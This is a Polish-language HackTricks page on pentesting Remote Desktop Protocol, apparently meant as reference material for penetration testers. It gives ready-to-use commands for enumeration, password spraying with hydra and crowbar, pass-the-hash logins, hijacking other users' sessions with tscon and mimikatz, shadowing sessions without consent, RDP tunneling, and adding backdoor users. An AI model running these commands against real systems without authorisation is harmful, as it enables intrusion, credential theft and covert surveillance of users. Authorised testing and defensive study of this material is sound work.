3389 - Pentesting RDP
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.
Podstawowe informacje
Opracowany przez Microsoft, Remote Desktop Protocol (RDP) został zaprojektowany w celu umożliwienia połączenia z graficznym interfejsem między komputerami w sieci. Do nawiązania takiego połączenia użytkownik korzysta z oprogramowania klienckiego RDP, natomiast komputer zdalny musi uruchamiać oprogramowanie serwera RDP. Taka konfiguracja pozwala na płynną kontrolę i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika.
Domyślny port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeracja
Automatyczna
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Sprawdza dostępne szyfrowanie i podatność na DoS (bez wywoływania DoS wobec usługi) oraz pobiera informacje NTLM Windows (wersje).
Warstwa bezpieczeństwa / sprawdzenia NLA
RDP może negocjować różne warstwy bezpieczeństwa (native RDP, TLS lub CredSSP/NLA). Możesz szybko zidentyfikować ustawienia po stronie serwera oraz czy NLA jest wymagane:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Uważaj, możesz zablokować konta
Password Spraying
Uważaj, możesz zablokować konta
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Połącz się przy użyciu znanych credentials/hash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Sprawdź znane poświadczenia względem usług RDP
rdp_check.py z impacket pozwala sprawdzić, czy dane poświadczenia są prawidłowe dla usługi RDP:
rdp_check <domain>/<name>:<password>@<IP>
Ataki
Session stealing
Mając uprawnienia SYSTEM permissions możesz uzyskać dostęp do dowolnej opened RDP session by any user bez konieczności znajomości hasła właściciela.
Pobierz otwarte sesje:
query user
Dostęp do wybranej sesji
tscon <ID> /dest:<SESSIONNAME>
Teraz znajdziesz się w wybranej sesji RDP i będziesz podszywać się pod użytkownika, używając wyłącznie narzędzi i funkcji Windows.
Important: Gdy uzyskasz dostęp do aktywnej sesji RDP, wylogujesz użytkownika, który jej używał.
Możesz uzyskać hasła przez zrzucenie pamięci procesu, ale ta metoda jest znacznie szybsza i pozwala na interakcję z wirtualnymi pulpitami użytkownika (hasła w notepad bez zapisu na dysku, inne sesje RDP otwarte na innych maszynach…)
Mimikatz
Możesz też użyć mimikatz do tego:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Jeśli Remote Desktop Services shadowing jest włączone, możesz wyświetlać lub kontrolować aktywną sesję innego użytkownika (czasami bez zgody) używając wbudowanych przełączników mstsc.
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP obsługuje virtual channels, które można wykorzystać do pivoting/tunneling w ramach ustanowionej sesji RDP. Jedną z opcji jest rdp2tcp (client/server), który może multipleksować przekierowania TCP przez RDP (działa z FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Łącząc tę technikę z stickykeys lub utilman będziesz w stanie uzyskać dostęp do administracyjnego CMD i dowolnej sesji RDP w dowolnym momencie
Możesz wyszukać RDP, które zostały już backdoored jedną z tych technik, korzystając z: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Jeśli ktoś z innej domeny lub z lepszymi uprawnieniami zaloguje się przez RDP na komputerze, gdzie jesteś Adminem, możesz inject swój beacon w jego RDP session process i podszyć się pod niego:
Dodawanie użytkownika do grupy RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Narzędzia automatyczne
AutoRDPwn jest frameworkiem post-exploitation stworzonym w Powershell, zaprojektowanym głównie do automatyzacji ataku Shadow na komputery Microsoft Windows. Ta podatność (wymieniona przez Microsoft jako funkcja) pozwala zdalnemu atakującemu oglądać pulpit swojej ofiary bez jej zgody, a nawet kontrolować go na żądanie, używając narzędzi natywnych dla samego systemu operacyjnego.
-
Kontrolować mysz i klawiaturę automatycznie z poziomu wiersza poleceń
-
Kontrolować schowek automatycznie z poziomu wiersza poleceń
-
Utworzyć proxy SOCKS po stronie klienta, które kieruje komunikację sieciową do targeta przez RDP
-
Wykonywać dowolne polecenia SHELL i PowerShell na target bez przesyłania plików
-
Wysyłać i pobierać pliki do/z targeta nawet gdy transfer plików na nim jest wyłączony
To narzędzie pozwala wykonywać polecenia na RDP ofiary bez potrzeby interfejsu graficznego.
HackTricks Automatyczne polecenia
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Odniesienia
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.


